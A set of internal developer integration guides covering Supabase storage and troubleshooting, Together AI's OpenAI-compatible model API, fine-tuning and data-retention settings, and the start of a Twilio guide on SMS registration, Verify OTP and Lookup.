# supabase/config.toml
[functions.stripe-webhook]
verify_jwt = false

The runtime injects SUPABASE_URL, SUPABASE_PUBLISHABLE_KEYS, SUPABASE_SECRET_KEYS (JSON objects keyed by key name) and SUPABASE_JWKS. SUPABASE_ANON_KEY / SUPABASE_SERVICE_ROLE_KEY still exist but carry the legacy keys. Don't read keys yourself — let @supabase/server do it.

ctx.supabaseAdmin bypasses RLS. In a 'user' handler, query through ctx.supabase, or filter by ctx.userClaims.id — otherwise one user can read everyone's rows.


Storage

const { error } = await supabase.storage
  .from("avatars")
  .upload(`${userId}/avatar.png`, file, { contentType: "image/png", upsert: true });

// Private bucket → short-lived signed URL
const { data, error: signError } = await supabase.storage
  .from("avatars")
  .createSignedUrl(`${userId}/avatar.png`, 60);

Buckets are private by default; keep them that way. Storage access is controlled by RLS policies on storage.objects (filter on bucket_id and the path prefix).


Agent automation

Hook: regenerate types after a migration

Claude Code hooks receive the tool call as JSON on stdin (there is no $CLAUDE_TOOL_INPUT variable). .claude/settings.json:

{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "jq -r '.tool_input.command // empty' | grep -qE 'supabase (db push|db reset|migration up)' && supabase gen types --linked --lang=typescript > src/types/database.ts || true"
          }
        ]
      }
    ]
  }
}

Common tasks

Task How
Schema change supabase migration new → edit → db reset locally → db push
Types supabase gen types --linked --lang=typescript
Security / perf lints supabase db advisors or MCP get_advisors
Slow query MCP execute_sql with explain analyze, or supabase inspect db outliers
Read logs MCP query_logs (read-only SQL over logs)
Feature branch DB MCP create_branch / merge_branch (paid plan)

Troubleshooting

Issue Fix
Query returns empty rows A policy is filtering them. Check you sent a user token and the policy's to role. Don't switch to the secret key to "fix" it.
permission denied for table A missing grant, checked before RLS — even service_role hits it
Users signed out after every request Next 15 with a proxy.ts (needs middleware.ts), or the proxy returned a response without the refreshed cookies
Clerk policy never matches Owner column is uuid; Clerk IDs need text
prepared statement already exists Transaction pooler — set prepare: false / pgbouncer=true
Tenant or user not found Pooler username must be postgres.<project-ref>; copy the host from Connect
Edge Function returns 401 verify_jwt is on for a function called with an API key — set it false and use withSupabase
Secret key returns 401 in the browser By design — move the call server-side
supabase start fails Start Docker Desktop (or your container runtime)

codeAmani notes

Official docs:

Together AI Integration Guide

Technology: together-ai · Category: ai · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/together-ai

Insight:

Together AI is the open-model marketplace tier: about 20 serverless chat models (Qwen, GLM, DeepSeek V4, Kimi K3, MiniMax, Meta Muse, gpt-oss) plus image, video and audio models behind one OpenAI-compatible endpoint (https://api.together.ai/v1). The catalog churns fast. Llama 3.x, Gemma, Qwen2.5-VL and all serverless embedding and rerank models are gone, so pin model IDs from the live catalog and watch the deprecations page. Prompts are stored by default until an org admin turns on zero data retention. Training on your data is opt-in and off by default.

████████╗ ██████╗  ██████╗ ███████╗████████╗██╗  ██╗███████╗██████╗      █████╗ ██╗
╚══██╔══╝██╔═══██╗██╔════╝ ██╔════╝╚══██╔══╝██║  ██║██╔════╝██╔══██╗    ██╔══██╗██║
   ██║   ██║   ██║██║  ███╗█████╗     ██║   ███████║█████╗  ██████╔╝    ███████║██║
   ██║   ██║   ██║██║   ██║██╔══╝     ██║   ██╔══██║██╔══╝  ██╔══██╗    ██╔══██║██║
   ██║   ╚██████╔╝╚██████╔╝███████╗   ██║   ██║  ██║███████╗██║  ██║    ██║  ██║██║
   ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝    ╚═╝  ╚═╝╚═╝

Together AI Integration Guide

Focus: Open-weight inference through an OpenAI-compatible API. Covers serverless chat, vision, images, audio and video; the batch API; dedicated endpoints and provisioned throughput; fine-tuning and post-training; the code interpreter; and data-retention controls.

Overview

Together AI hosts open-source and open-weight models and bills per token, image, second or minute. You get no GPUs to manage. A single API key reaches:

The REST API follows OpenAI's shape, so you can keep the OpenAI SDK and change only the key and base URL. The first-party together-ai (npm) / together (PyPI) SDKs add the full surface: rerank, batches, files, fine-tuning, endpoints, code interpreter and video.

For codeAmani, Together is the open-weight lever. It sits beside Anthropic Claude, which sets the quality ceiling, and handles high-volume, cheap or fine-tuned work. The 2026-06-22 Swahili research report rated it "adopt" as the open-model and fine-tuning rail for Kenya-targeted text features.

flowchart LR
  A["Your app code<br/>(server-side only)"] --> B["OpenAI SDK · together-ai · @ai-sdk/togetherai<br/>baseURL api.together.ai/v1"]
  B --> C{"Model string"}
  C -->|"small / cheap"| D["Qwen/Qwen3.5-9B<br/>GLM-5.3-Flash · DeepSeek-V4.1-Flash"]
  C -->|"general"| E["meta-models/Muse-Glimmer-30B"]
  C -->|"frontier-open"| F["Kimi-K3 · GLM-5.3 · DeepSeek-V4-Pro"]
  C -->|"images"| G["FLUX.2 · GPT Image 2"]
  C -->|"endpoint string"| H["Dedicated endpoint<br/>api-inference.together.ai/v1"]

Official Documentation

Resource URL
Quickstart https://docs.together.ai/docs/quickstart
Serverless model catalog (IDs, context, prices) https://docs.together.ai/docs/serverless/models
Recommended models by use case https://docs.together.ai/docs/inference/recommended-models
OpenAI compatibility matrix https://docs.together.ai/docs/inference/openai-compatibility
Deprecations (removal dates) https://docs.together.ai/docs/deprecations
Changelog https://docs.together.ai/docs/changelog
Dedicated endpoints https://docs.together.ai/docs/dedicated-endpoints/overview
Zero data retention https://docs.together.ai/docs/zero-data-retention
Vercel AI SDK quickstart https://docs.together.ai/docs/using-together-with-vercels-ai-sdk
Pricing https://www.together.ai/pricing

URL moves (2026): docs/serverless-models → docs/serverless/models, docs/dedicated-endpoints → docs/dedicated-endpoints/overview, and docs/inference/pricing → docs/serverless/overview. The old paths still redirect.


Versions (verified 2026-10-20)

Package Version Notes
together-ai (npm) 0.58.0 Still 0.x, so pin exact. Client exposes chat, completions, embeddings, images, videos, audio, rerank, batches, files, fineTuning, codeInterpreter, endpoints, evals, models, projects, clusters, beta
together (PyPI) 2.42.0 Python ≥3.10. v2 is generated from the API spec: keyword-only args, httpx, renamed batch methods (migration guide). Post-training needs ≥2.41.0
@ai-sdk/togetherai 3.0.75 The 3.x line pairs with ai@7 (dist-tags: ai-v6 = 2.x, ai-v5 = 1.x). Peer: zod ^3.25.76 || ^4.1.8
ai 7.0.146 Vercel AI SDK 7
openai (npm) 7.39.0 Drop-in client

Setup

Option A: OpenAI SDK (drop-in)

import OpenAI from "openai";

const together = new OpenAI({
  apiKey: process.env.TOGETHER_API_KEY!,
  baseURL: "https://api.together.ai/v1",
});

const res = await together.chat.completions.create({
  model: "Qwen/Qwen3.5-9B",
  messages: [{ role: "user", content: "Habari! Nisaidie kuandika tangazo fupi." }],
});

Through the OpenAI SDK the following are supported: chat, vision, tools, response_format, legacy completions, embeddings.create, images.generate, audio.speech / transcriptions / translations, and models.list.

These are not supported: Assistants/Threads, OpenAI-shaped batches.* and fine_tuning.*, and moderations. Video, image edits, rerank and logprobs are Together-native.

reasoning_effort works only on gpt-oss. service_tier, store, metadata and prediction are ignored. Read cached-token counts from both places: usage.prompt_tokens_details.cached_tokens (reasoning models) and a flat usage.cached_tokens (some non-reasoning models).

Option B: Native Together SDK (full surface)

npm install together-ai@0.58.0   # Node / TypeScript
pip install together             # Python (2.42.0)
import Together from "together-ai";

const client = new Together(); // reads TOGETHER_API_KEY, TOGETHER_BASE_URL, TOGETHER_PROJECT_ID

const res = await client.chat.completions.create({
  model: "Qwen/Qwen3.5-9B",
  messages: [{ role: "user", content: "Say this is a test!" }],
  reasoning: { enabled: false }, // Together-native toggle for hybrid reasoning models
});
from together import Together

client = Together()  # reads TOGETHER_API_KEY
resp = client.chat.completions.create(
    model="Qwen/Qwen3.5-9B",
    messages=[{"role": "user", "content": "What is 2 + 2?"}],
    reasoning={"enabled": False},
)
print(resp.choices[0].message.content)

Option C: Vercel AI SDK 7

import { generateText, Output } from "ai";
import { createTogetherAI } from "@ai-sdk/togetherai";
import { z } from "zod";

// The provider's default baseURL is still the legacy https://api.together.xyz/v1
// (it works). Pin the current host explicitly.
const together = createTogetherAI({
  apiKey: process.env.TOGETHER_API_KEY ?? "",
  baseURL: "https://api.together.ai/v1",
});

const { output } = await generateText({
  model: together("zai-org/GLM-5.3-Flash"),
  output: Output.object({ schema: z.object({ category: z.string() }) }),
  prompt: "Classify: 'Mzigo wangu haujafika'",
  providerOptions: { togetherai: { reasoning: { enabled: false } } },
});

providerOptions.togetherai is passed straight into the request body. Use generateText + Output.object, not generateObject. Together's docs say generateObject fails with a schema-validation error on this provider. The provider also offers .image(), .embeddingModel() and .reranking(). The last two need a model that is actually deployed, because nothing is on serverless (see Embeddings below). Full typed examples are in examples/ai-sdk.ts.


Current model picks (serverless, 2026-10-20)

From the catalog and recommended models. Prices are per 1M tokens (input / cached input / output).

Use Model ID Price Notes
Small, fast, vision Qwen/Qwen3.5-9B $0.17 / – / $0.25 Together's "small and fast" and default vision pick. Apache-2.0. 262K ctx
General (Llama 3.3 replacement) meta-models/Muse-Glimmer-30B $0.35 / $0.04 / $1.50 Official replacement for Llama-3.3-70B-Instruct-Turbo. Apache-2.0
Mid-size, 1M context deepseek-ai/DeepSeek-V4.1-Flash $0.30 / $0.006 / $1.20 Very cheap cached input. MIT
Function calling zai-org/GLM-5.3-Flash $0.15 / $0.03 / $0.50 Together's function-calling pick. MIT
Cheap open reasoning openai/gpt-oss-120b $0.15 / – / $0.60 reasoning_effort low/medium/high
Frontier-open chat / reasoning moonshotai/Kimi-K3 $3.00 / $0.30 / $15.00 Together's top chat pick. Reasons by default
Coding agents zai-org/GLM-5.3 $1.40 / $0.26 / $4.40
Multimodal + long context MiniMaxAI/MiniMax-M3 $0.30 / $0.06 / $1.20 Quickstart default. 524K ctx
Text-to-image openai/gpt-image-2 (rec.) · black-forest-labs/FLUX.2-dev (cheap) ~$0.053 / ~$0.0154+ per image FLUX.1-schnell is gone
Speech-to-text nvidia/nemotron-3.5-asr-streaming-0.6b · openai/whisper-large-v3 $0.0015 / audio min Whisper gets the batch discount
Text-to-speech cartesia/sonic-3 · hexgrad/Kokoro-82M $65 · $4 per 1M chars

Models removed since the last review: migrate now

Old ID (was in this guide) Status Move to
meta-llama/Llama-3.3-70B-Instruct-Turbo Scheduled removal from serverless 2026-10-22 (already absent from the catalog) meta-models/Muse-Glimmer-30B (or a dedicated endpoint)
meta-llama/Meta-Llama-3.1-8B-Instruct-Turbo Removed 2026-03-06 Qwen/Qwen3.5-9B
deepseek-ai/DeepSeek-V3.1 Removed 2026-05-14 deepseek-ai/DeepSeek-V4.1-Flash
Qwen/Qwen2.5-VL-72B-Instruct Removed 2026-01-05 Qwen/Qwen3.5-9B (vision)
intfloat/multilingual-e5-large-instruct Removed 2026-09-15, no dedicated option Off-platform (see Embeddings)
black-forest-labs/FLUX.1-schnell Removed 2026-08-19 black-forest-labs/FLUX.2-dev
black-forest-labs/FLUX.2-pro Still listed, now billed per image (~$0.03+) Unchanged

Lifecycle policy: an "upgrade" redirects automatically after 3 days' notice. A "new model" gets 2–3 weeks of deprecation notice and no redirect, and you must change the ID. Preview models can go with less than 24 hours' notice after 30 days. Users of a deprecated model get an email. Read deprecations before every release.


Core Patterns

Streaming (reasoning-aware)

Reasoning models stream their thinking in delta.reasoning and the answer in delta.content. Some use reasoning_content instead. Switch reasoning off with reasoning: { enabled: false } when you only want the answer.

const stream = await client.chat.completions.create({
  model: "Qwen/Qwen3.5-9B",
  messages: [{ role: "user", content: prompt }],
  stream: true,
  reasoning: { enabled: false },
});
for await (const chunk of stream) process.stdout.write(chunk.choices[0]?.delta?.content ?? "");
// Cancel with stream.controller.abort()

The Next.js route version, which also uses a model allowlist, is in examples/streaming.ts.

Structured outputs (JSON mode)

import { z } from "zod";
const Order = z.object({ item: z.string(), quantity: z.number().int() });

const res = await client.chat.completions.create({
  model: "Qwen/Qwen3.5-9B",
  reasoning: { enabled: false },
  messages: [{ role: "user", content: "Nataka mikate miwili" }],
  response_format: {
    type: "json_schema",
    json_schema: { name: "order", schema: z.toJSONSchema(Order) },
  },
});
const order = Order.parse(JSON.parse(res.choices[0]?.message?.content ?? "{}"));

response_format accepts text, json_schema or json_object. The catalog's Structured outputs column lists which models support it.

Function calling

You pass OpenAI-shaped tools / tool_choice and get tool_calls back. Together documents the simple, multiple, parallel, multi-step, multi-turn and vision variants. Pick a model whose catalog row shows Function calling = Yes; zai-org/GLM-5.3-Flash is the recommended one. When a reasoning model makes multi-turn tool calls, send its reasoning / reasoning_content field back under the same key. The example is in examples/client.ts.

Vision

Add an image_url content part to the message. It can be a remote URL or a base64 data URI. The detail field is accepted but ignored. Vision models today are Qwen/Qwen3.5-9B (start here), MiniMaxAI/MiniMax-M3, nvidia/NVIDIA-Nemotron-3.5-Super-VL and moonshotai/Kimi-K3.

Image generation

const image = await client.images.generate({
  model: "black-forest-labs/FLUX.2-dev",
  prompt: "A vibrant Nairobi street market at golden hour, photorealistic",
  width: 1024,
  height: 768,
});
image.data[0]?.url; // or b64_json via response_format

Image models bill in one of two ways:

Image calls need a positive credit balance.

Batch API (offline, separate rate-limit pool)

Limit Value
Requests per batch 50,000
Input file 100 MB (10 MB per line)
Enqueued tokens 30B per model
Completion window 24h, fixed and best-effort (small batches finish in minutes)
File retention 7 days for input, output and error files, then gone
Discount "Up to 50%", but only for models on the discounted list. Today that list is only openai/whisper-large-v3. Every other model runs at standard rates

You are billed only for successful lines. Join results on custom_id, and always read the error file. CLI: tg batches submit file.jsonl --api chat.completions. The SDK version is in examples/batch-classify.ts.

Embeddings and rerank: no longer on serverless

As of 2026-10-20 the serverless catalog says "There are currently no embedding models offered via serverless" and "no rerank models." multilingual-e5-large-instruct was removed on 2026-09-15 and cannot be run as an on-demand dedicated endpoint.

Code interpreter and code sandbox

Product API Price Access
Code interpreter (TCI) client.codeInterpreter.execute({ code, language: "python", session_id? }) → POST /v1/tci/execute, plus codeInterpreter.sessions $0.03 per 60-minute session Self-serve. Python only
Code sandbox together-sandbox (npm/PyPI/CLI): Docker-image snapshots, sandboxes.create, execs.exec $0.0446 per vCPU-hr + $0.0149 per GiB-hr Allowlist: contact Together. Replaces the legacy @codesandbox/sdk flow

Use it to run model-generated code away from your own servers. Never eval model output locally.


Serverless vs. provisioned throughput vs. dedicated

flowchart TD
  A["Run an open model"] --> B{"Steady, high volume?"}
  B -->|"no: bursty / dev"| C["Serverless<br/>per token, best-effort, no region choice"]
  B -->|"yes, stock model, want SLA"| D["Provisioned throughput<br/>$0.05 per PTU-minute, 1-month min, sales-only"]
  B -->|"yes, fine-tuned / custom / region / HIPAA"| E["Dedicated endpoint<br/>per GPU-minute"]

Fine-tuning and post-training

Fine-tuning is a managed job that bills per token processed: (epochs × training tokens) + (evals × validation tokens). It supports LoRA (default; rank defaults to 64, up to 128) or full fine-tuning, with SFT or DPO.

LoRA base (examples) SFT / DPO per 1M tokens Min
Qwen/Qwen3.5-9B, Qwen/Qwen3.5-4B, meta-llama/Meta-Llama-3.1-8B-Instruct-Reference $0.34 / $0.84 $4
Qwen/Qwen3.8-27B, google/gemma-4-31B-it, Qwen/Qwen3.6-35B-A3B $1.05 / $2.62 $4
meta-llama/Llama-3.3-70B-Instruct-Reference $2.03 / $5.08 $4
openai/gpt-oss-120b $2.50 / $6.25 $6

Get a quote with tg fine-tuning create (the CLI asks you to confirm the price), client.fineTuning.estimatePrice(...), or the console. Before you train, check that the base model can be deployed (tg beta models configs <BASE_MODEL>). Some fine-tunable models cannot be hosted on a dedicated endpoint.

Post-training (launched 2026-10-13) works differently: your own Python loop calls forward_backward / optim_step / sample_batch against GPUs you provision. It supports SFT, DPO and GRPO, and is billed per GPU-minute. B200 lists at $11/GPU-hr, with a promo price of $9 until 2026-12-14. You need a $100 minimum credit balance to start. Use it only if you need RL or custom loss functions; the job-based fine-tuning above is simpler.


Data retention, training and privacy (US customers)

Sources: zero data retention and privacy and security. The privacy policy is the legal source of truth.

Setting (Org Settings → Privacy, admins only) Default Effect
Store prompts and model responses On Together stores prompts and outputs and may use them for product improvement. They are not shared with third parties and can be deleted. Turning this off = zero data retention (ZDR).
Allow organization's data for training Off Opt-in only. Together does not train on your data without explicit consent
Allow passthrough models On Passthrough models forward your prompts to a third-party provider, under that provider's data policy. Turning ZDR on switches passthrough off automatically

What this means in practice:


Swahili and Kenya-targeted text

The research report (research-and-development/reports/2026-06-22-swahili-ai-models.md) chose Together as the open-model rail. Its candidates were Gemma 2 27B, Llama 3.3 70B and Llama 4 Scout, and all of them have since left Together serverless. Gemma 3n, the report's "high-volume text" pick, is gone too, and so is the multilingual-e5 embedder.

Current serverless models and what their model cards claim, checked on the Hub 2026-10-20. None of the cards names Swahili explicitly.

Model Card's language claim License Fit for Swahili work
Qwen/Qwen3.5-9B "201 languages and dialects" Apache-2.0 Default candidate. Cheap, vision, also LoRA-fine-tunable ($0.34/1M)
meta-models/Muse-Glimmer-30B "data from more than 100 languages" Apache-2.0 Quality step-up, and the Llama 3.3 replacement
moonshotai/Kimi-K3, zai-org/GLM-5.3, deepseek-ai/DeepSeek-V4.1-Flash, MiniMaxAI/MiniMax-M3, openai/gpt-oss-120b No multilingual coverage stated (GLM cards tag only en, zh) Mixed Evaluate before use, do not assume
google/gemma-4-31B-it "140+ languages" (pre-training) Apache-2.0 Dedicated endpoint or fine-tune only. Left serverless 2026-09-15

Rules:

  1. Gate on the in-house Swahili + Sheng eval before any production route. Use AfriMMLU, MasakhaNEWS, FLORES-200 and the codeAmani set. Dialect fragility is the #1 risk in the report.
  2. Text first: WhatsApp + M-Pesa bots (P1). Keep Claude as the fallback for low-confidence turns.
  3. Dialect control: LoRA-fine-tune Qwen/Qwen3.5-9B or Qwen/Qwen3.8-27B on curated Sheng/Tanzanian data, then host it on a dedicated endpoint. Remember the endpoint's per-minute cost; use idle shutdown.
  4. Embeddings for Swahili RAG now come from Hugging Face or Pinecone, not Together.
  5. Swahili speech-to-text: openai/whisper-large-v3 is on serverless at $0.0015/min. Together has no Swahili TTS claim, so keep TTS on ElevenLabs or facebook/mms-tts-swh behind the MOS gate.

AI routing: where Together fits

Task Provider / model
Complex reasoning, agents, quality-critical text Anthropic Claude (current model ID in the anthropic/ guide)
High-volume classification, extraction, FAQ, RAG synthesis Together Qwen/Qwen3.5-9B → meta-models/Muse-Glimmer-30B
Cheap tool-calling agents Together zai-org/GLM-5.3-Flash
Open long-context (1M) Together deepseek-ai/DeepSeek-V4.1-Flash
Vision / receipts / OCR Together Qwen/Qwen3.5-9B (or MiniMax-M3)
Image generation Together black-forest-labs/FLUX.2-dev (cheap) / openai/gpt-image-2 (quality)
Fast structured JSON (OpenAI) OpenAI GPT-4o per company routing policy
Embeddings Hugging Face / Pinecone (multilingual-e5-large), not Together

Together is OpenAI-shaped, so the resilient-fallback pattern applies unchanged. Retry 429 and 503 with jittered exponential backoff, then fall back to Claude. Also handle a 404 / "model unavailable" error by falling back, because deprecations remove IDs on a schedule.


Environment Variables

The only secret:

TOGETHER_API_KEY=your-together-api-key

Non-secret settings, read by the native SDK:

Variable Default Purpose
TOGETHER_BASE_URL https://api.together.ai/v1 Point at a proxy, or at https://api-inference.together.ai/v1 for dedicated endpoints
TOGETHER_PROJECT_ID key's project Project scope for beta endpoint/management calls and the CLI
TOGETHER_LOG warn SDK log level

codeAmani notes


Troubleshooting

Issue Fix
401 Unauthorized Check TOGETHER_API_KEY. Keys are project-scoped and may have expired
404 / model not found / unavailable The ID was probably deprecated. Check deprecations. IDs are case-sensitive org/model
Empty content but tokens were used A reasoning model spent max_tokens on thinking. Raise max_tokens or pass reasoning: { enabled: false }
generateObject schema error (AI SDK) Use generateText with Output.object
cached_tokens always 0 Read both usage.prompt_tokens_details.cached_tokens and usage.cached_tokens
429 / 503 Exponential backoff. For steady load, buy provisioned throughput or use a dedicated endpoint
Embeddings call fails No serverless embedding models exist. Use HF / Pinecone
Image call refused Add credit (a positive balance is required). If ZDR is on, passthrough image models are disabled
Dedicated endpoint returns 404 Use the endpoint string <project_slug>/<endpoint> and the api-inference.together.ai/v1 base URL

Official docs:

Twilio Integration Guide

Technology: twilio · Category: comms · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/twilio

Insight:

Twilio is the US/global comms channel: SMS/MMS, Voice, managed OTP via Verify ($0.05 per successful verification plus channel fees), and voice AI agents via ConversationRelay ($0.07/min). In the US you must register before sending: unregistered 10DLC traffic is blocked (error 30034) and unverified toll-free traffic is blocked (30032). Base US SMS is $0.0083/segment plus carrier pass-through fees. For Kenya-targeted projects use Africa's Talking: Twilio Kenya SMS is $0.3134/segment over international routes with no local numbers, versus KES 0.4–0.8 on AT. Validate every inbound webhook and ConversationRelay WebSocket with X-Twilio-Signature.

████████╗██╗    ██╗██╗██╗     ██╗ ██████╗
╚══██╔══╝██║    ██║██║██║     ██║██╔═══██╗
   ██║   ██║ █╗ ██║██║██║     ██║██║   ██║
   ██║   ██║███╗██║██║██║     ██║██║   ██║
   ██║   ╚███╔███╔╝██║███████╗██║╚██████╔╝
   ╚═╝    ╚══╝╚══╝ ╚═╝╚══════╝╚═╝ ╚═════╝

Twilio Integration Guide

Focus: When and how codeAmani uses Twilio for US/global communications: Programmable Messaging (SMS/MMS) and the US registration rules that gate it (A2P 10DLC, toll-free verification), the managed Verify API for OTP, Lookup for phone intelligence, Voice and ConversationRelay voice AI agents, secure inbound webhooks with X-Twilio-Signature, WhatsApp via Twilio, and the official Twilio MCP server. For Kenya-targeted projects the default is Africa's Talking (see Kenya: Twilio vs Africa's Talking).

Overview

Twilio is a REST cloud-communications platform with an official twilio Node.js helper library (v6.2.0, released 2026-10-12, Node.js >= 20). The SDK exposes the whole platform: client.messages (SMS/MMS/WhatsApp/RCS), client.verify.v2 (OTP), client.lookups.v2 (phone intelligence), client.calls (Voice), and TwiML builders (twilio.twiml.VoiceResponse, MessagingResponse). SMS and WhatsApp share one messages.create call; only the address format changes (+1555… vs whatsapp:+1555…).

What changed since the last review (2026-08-23):

Area Now
SDK twilio 6.2.0: signature comparison moved from the deprecated scmp package to crypto.timingSafeEqual; TwiML <Stream> gains audioFormat/sampleRate. No API breaks.
CLI twilio-cli 7.2.0. The 7.x line requires Node.js >= 22 (the SDK still runs on 20).
MCP Twilio now runs an official hosted MCP server at https://mcp.twilio.com/docs (Public Beta, read-only, no auth). The old guide said there was none.
US compliance Unregistered 10DLC traffic is blocked (30034). Unverified or pending toll-free traffic is blocked (30032). Every new 10DLC Campaign pays a $15 vetting fee and waits up to ~5 business days.
Voice AI ConversationRelay (<Connect><ConversationRelay>) is the documented path for LLM voice agents at $0.07/min plus normal voice minutes.
WhatsApp Since 2025-04-01, templates sent outside the 24-hour window must use contentSid + contentVariables. A template sent in body fails with 63016.

The canonical OTP flow. Verify holds the code, so your app never stores or compares it:

sequenceDiagram
  participant U as "User"
  participant APP as "Your app (Next.js API route)"
  participant V as "Twilio Verify API"
  U->>APP: "Enter phone number"
  APP->>V: "verifications.create {to, channel: sms}"
  V->>U: "SMS - Your code is 482915"
  U->>APP: "Submit code 482915"
  APP->>V: "verificationChecks.create {to, code}"
  V-->>APP: "status: approved | pending"
  APP-->>U: "Verified - issue session"

Check first. Before adding Twilio to a build, query the codeAmani-tech-stack MCP (search_guides / get_guide) and confirm the audience. Kenya-targeted → Africa's Talking. US / global, Voice, voice AI, or managed OTP → Twilio. Choosing the wrong provider means worse delivery and higher per-message cost.

Official Documentation

Resource URL
Twilio Docs (root) https://www.twilio.com/docs
Programmable Messaging https://www.twilio.com/docs/messaging
A2P 10DLC (US long codes) https://www.twilio.com/docs/messaging/compliance/a2p-10dlc
Toll-free verification https://www.twilio.com/docs/messaging/compliance/toll-free/console-onboarding
Verify API (OTP) https://www.twilio.com/docs/verify/api
Lookup v2 https://www.twilio.com/docs/lookup/v2-api
Programmable Voice https://www.twilio.com/docs/voice
ConversationRelay https://www.twilio.com/docs/voice/conversationrelay
Webhooks security (signature) https://www.twilio.com/docs/usage/webhooks/webhooks-security
WhatsApp via Twilio https://www.twilio.com/docs/whatsapp
Twilio MCP server https://www.twilio.com/docs/ai/mcp
Node helper library https://github.com/twilio/twilio-node
Product changelog https://www.twilio.com/en-us/changelog

Twilio MCP server (official, Public Beta)

Twilio hosts a read-only docs/API-spec MCP server at https://mcp.twilio.com/docs. It needs no account or key. It exposes two tools: twilio__search (natural-language search over 1,800+ endpoints, docs, and support articles) and twilio__retrieve (full parameter and response schemas for the IDs that search returns). It does not execute API calls. Twilio says execute-capable OAuth tools are planned.

claude mcp add --transport http twilio-docs https://mcp.twilio.com/docs

It is also packaged in the twilio-developer-kit Claude Code/Cursor plugin, together with "Twilio Skills". By default it returns the latest API version. Programmable Messaging has a v2010 surface (the one client.messages.create calls) and a newer v1 (comms.twilio.com, Bulk Messaging). Filter by version when you need v2010.

The older community package @twilio-alpha/mcp (0.7.0, last published July 2025) wraps the live APIs with your credentials. It is an alpha package that hasn't been updated since, so don't use it in codeAmani builds. Use the hosted docs server for lookups and the SDK for execution.


1. Credentials & install

The console gives you the Account SID (AC…) and Auth Token. For server code, prefer an API Key (SK… SID + secret, created under Account > API keys) over the Auth Token. API keys can be revoked one at a time. You still need the Auth Token to validate webhook signatures, because Twilio signs with it.

npm install twilio@6.2.0   # Node.js >= 20 (engines field)
// lib/twilio.ts — server-only module
import twilio from "twilio";

const accountSid = process.env.TWILIO_ACCOUNT_SID!;

// API key auth (preferred): revocable, scoped, no full-account token in the REST path.
export const client = twilio(process.env.TWILIO_API_KEY_SID!, process.env.TWILIO_API_KEY_SECRET!, {
  accountSid,
});

// Auth Token is still required for X-Twilio-Signature validation.
export const authToken = process.env.TWILIO_AUTH_TOKEN!;

Phone numbers must be E.164 (+15619991234, +254711223344). Twilio always wants the leading +. The Auth Token is a full-account secret: keep it server-side, never import lib/twilio.ts into a client component, and list the variable in ENV_MASTER.md.

2. US sending rules (read before the first SMS)

US carriers treat all Twilio traffic as application-to-person (A2P). Volume doesn't matter: hobby and test traffic counts too. Pick a sender type and register it before launch. Registration takes days.

Sender What you must do Blocked if skipped Throughput / notes
10DLC long code (+1 local) A2P 10DLC Brand + Campaign in Trust Hub, number in the Campaign's Messaging Service sender pool Yes, error 30034 Campaign vetting up to ~5 business days. Sole Prop: 1 number per campaign.
Toll-free (8XX) Toll-free verification (business, use case, opt-in proof, samples) Yes, error 30032 (Restricted/Pending) Explicit opt-in evidence is always required (30515). Use branded HTTPS URLs, not public shorteners (30449).
Short code Carrier short-code application (weeks) n/a Highest throughput. $1,000–$1,500/quarter lease.
Verify (OTP only) Nothing extra: Verify uses Twilio's pre-registered senders No Use it if you only need OTP and don't want to register 10DLC.

A2P 10DLC registration fees (TCR pass-through, help.twilio.com/articles/1260803965530, fees updated 2025-08-01):

Fee Sole Proprietor Low-Volume Standard Standard
Brand registration (one-time) $4.50 $4.50 $4.50
Secondary vetting (one-time) — — $41.50
Campaign vetting (one-time, non-refundable) $15 $15 $15
Campaign monthly $2 $1.50 (low-volume mixed) – $10 $1.50 – $10

Special campaign types cost $3/mo (charity / 501(c)(3)) and $5/mo (emergency). Use the charity rate for the codeAmani 501(c)(3) donation portal. Low-Volume Standard brands are for fewer than 6,000 messages/day. Low-volume mixed campaigns cap at 2,000 segments/day on T-Mobile.

3. Send an SMS (Programmable Messaging)

import { client } from "@/lib/twilio";

export async function sendSms(to: string, body: string): Promise<string> {
  const message = await client.messages.create({
    to, // E.164
    messagingServiceSid: process.env.TWILIO_MESSAGING_SERVICE_SID!, // "MG…", holds the registered sender pool
    body,
    statusCallback: "https://app.example.com/api/twilio/status", // queued → sent → delivered | undelivered | failed
  });
  return message.sid; // "SM…" means accepted for sending, not delivered
}

Send through a Messaging Service, not a bare from number. The service is what carries your A2P Campaign association, sender pool, opt-out handling, and Link Shortening.

4. OTP / phone verification: the Verify API (preferred)

Don't roll your own OTP. Generating, storing, expiring, and rate-limiting codes is easy to get wrong. Verify v2 manages code generation, delivery over pre-registered senders, expiry, retries, translations, and Fraud Guard (SMS-pumping protection). You only call start and check.

// lib/verify.ts
import { client } from "@/lib/twilio";

const SERVICE = process.env.TWILIO_VERIFY_SERVICE_SID!; // "VA…"

export type VerifyChannel = "sms" | "call" | "whatsapp" | "email";

/** Start: send a code. */
export async function startVerification(to: string, channel: VerifyChannel = "sms"): Promise<string> {
  const v = await client.verify.v2.services(SERVICE).verifications.create({ to, channel });
  return v.status; // "pending"
}

/** Check: only "approved" means verified. */
export async function checkVerification(to: string, code: string): Promise<boolean> {
  const check = await client.verify.v2.services(SERVICE).verificationChecks.create({ to, code });
  return check.status === "approved"; // else: pending | canceled | max_attempts_reached | failed | expired
}

The full Next.js route pair is in examples/verify-routes.ts.

Gotcha: a wrong code returns status: "pending" (or max_attempts_reached). It doesn't throw. Only "approved" means verified. A verification expires after 10 minutes, and Twilio deletes it once it is approved, expired, or out of attempts. Any later check throws a RestException with HTTP 404, so catch that and start a new verification. Rate-limit the start route by IP and phone on your side too.

Pricing: $0.05 per successful verification plus channel fees. SMS adds $0.0083 per US SMS, charged on every attempt. Voice and email add nothing beyond the $0.05. Failed or expired verifications are not charged the $0.05, but SMS/voice delivery attempts still bill. Fraud Guard and translations into 42 languages are included.

5. Lookup v2: check a number before you text it

client.lookups.v2.phoneNumbers(n).fetch() with no fields is a free format check: valid, nationalFormat, countryCode. Paid data packages go in fields: line_type_intelligence (mobile / landline / VoIP / toll-free + carrier), sms_pumping_risk, sim_swap, caller_name, reassigned_number, and others.

const result = await client.lookups.v2
  .phoneNumbers("+15619991234")
  .fetch({ fields: "line_type_intelligence" });

if (!result.valid) throw new Error("Invalid number");
